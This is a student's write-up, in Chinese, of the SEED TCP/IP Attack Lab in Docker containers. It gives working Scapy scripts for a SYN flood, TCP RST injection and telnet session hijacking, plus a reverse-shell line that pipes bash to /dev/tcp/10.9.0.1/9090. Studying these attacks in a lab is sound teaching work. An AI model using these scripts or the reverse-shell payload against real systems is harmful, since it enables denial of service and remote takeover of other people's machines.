TCP/IP Attack Lab
本次实验的环境如图所示。

记得去删除之前实验创建的container,不然会报错。

实验中需要使用telnet来连接,container中已经构建创建好了一个名为seed账户,密码为dees。
Task 1: SYN Flooding Attack
这个攻击是通过伪造一些IP地址,来填满受害者主机的队列,使其无法与其他主机建立连接。

可以通过sysctl net.ipv4.tcp_max_syn_backlog来查看大小。
也可以通过netstat -nat来查看队列的使用情况。

SYN Cookie Countermeasure:针对这种攻击方式,系统通过SYN cookie来进行防护。在实验中,docker容器的防护都已经被关闭(可以通过docker-compose.yml查看)。同时还要将docker中的privileged设置为true,才能实现该控制,因为这个文件是一个只读文件。

相关控制指令
sysctl -a | grep syncookies (Display the SYN cookie flag)
sysctl -w net.ipv4.tcp_syncookies=0 (turn off SYN cookie)
sysctl -w net.ipv4.tcp_syncookies=1 (turn on SYN cookie)
可以通过下面的命令来查看受害者主机的队列情况
netstat -tna | grep SYN_RECV | wc -l
ss -n state syn-recv sport = :23 | wc -l
Task 1.1: Launching the Attack Using Python
python攻击代码
#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp
while True:
pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
pkt[TCP].sport = getrandbits(16) # source port
pkt[TCP].seq = getrandbits(32) # sequence number
send(pkt, verbose = 0)
可以看见受害者主机多了很多连接状态。

此时我试图通过telnet连接的时候,会卡住无法连接,最后导致失败。


一些问题
- 如果主机已经跟受害主机建立过TCP连接,那么就算在被遭受攻击,也能够成功连接。这是由于内核的缓解机制:当SYN Cookies功能被禁用时,TCP会为“已验证的目的地”预留四分之一的后备队列空间。因此后续来自该地址的连接将使用预留槽位,从而不受SYN洪水攻击影响。若需消除此缓解措施的效果,可在服务器端执行“ip tcp metrics flush”命令。
- TCP重传机制:发送SYN+ACK数据包后,受害主机将等待ACK数据包。若ACK未能及时到达,TCP将重传SYN+ACK数据包。重传次数取决于以下内核参数(默认值为5)。
经过5次重传后,TCP将从半开连接队列中移除对应项。每次移除项都会释放一个槽位。攻击数据包与合法telnet连接请求将争夺此空位。由于Python程序运行速度可能不足,可能输给合法telnet数据包。为赢得竞争,可并行运行多个攻击程序实例。请尝试此方法并观察成功率是否提升。
Task 1.2: Launch the Attack Using C
效果跟task1.1类似。但是c语言更快,成功的概率更高。(代码由实验手册提供)

Task 1.3: Enable the SYN Cookie Countermeasure
我可以打开syncookies防护,然后打开攻击,发现telnet能够连接上

Task 2: TCP RST Attacks on telnet Connections
TCP RST攻击可终止两个受害者之间已建立的TCP连接。例如,当用户A与B之间存在已建立的telnet连接(TCP)时,攻击者可伪造从A发往B的RST数据包,从而破坏该现有连接。要使此攻击成功,攻击者需正确构造TCP RST数据包。
也可以实现自动化,首先监听报文,然后篡改。
#!/usr/bin/env python3
from scapy.all import *
def spoof_pkt(pkt):
ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
tcp = TCP(sport=23, dport=pkt[TCP].dport, flags="R", seq=pkt[TCP].seq+1)
pkt = ip/tcp
ls(pkt)
send(pkt, verbose=0)
f = f'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-6a333ca53e4c', filter=f, prn=spoof_pkt)
我用一个用户主机尝试连接10.9.0.5时,会被中断。

Task 3: TCP Session Hijacking
TCP会话劫持攻击的目标是通过向现有TCP连接(会话)注入恶意内容,劫持两个受害者之间的通信通道。若该连接为Telnet会话,攻击者可向其中注入恶意指令(例如删除重要文件),迫使受害者执行这些指令。下图展示了攻击的运作机制。在本任务中,你需要演示如何劫持两台计算机间的telnet会话。你的目标是使telnet服务器执行你发送的恶意命令。

构建了代码,如果监听到10.9.0.5发送的报文则,返回一个伪造的报文。
#!/usr/bin/env python3
from scapy.all import *
def spoof_pkt(pkt):
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
tcp = TCP(sport=pkt[TCP].dport, dport=23,
flags="A",
seq=pkt[TCP].ack, ack=pkt[TCP].seq+1)
data = "echo \"ლ(́◕◞౪◟◕‵ლ)\" >> ~/hijacking.out\n\0"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
f = f'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-b10103161082', filter=f, prn=spoof_pkt)
首先10.9.0.6连接到10.9.0.5,然后运行该程序

telnet连接卡死,同时发现多了一个hijacking文件

Task 4: Creating Reverse Shell using TCP Session Hijacking
在task3的基础上,只需要修改data段即可。获取反向shell的命令如下。
data = "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n\0"

总结
通过这个实验学习到了TCP SYN Flooding攻击、TCP RST攻击和TCP Session Hijacking。三种攻击方式的原理都比较简单,通过scapy构建报文也不算难。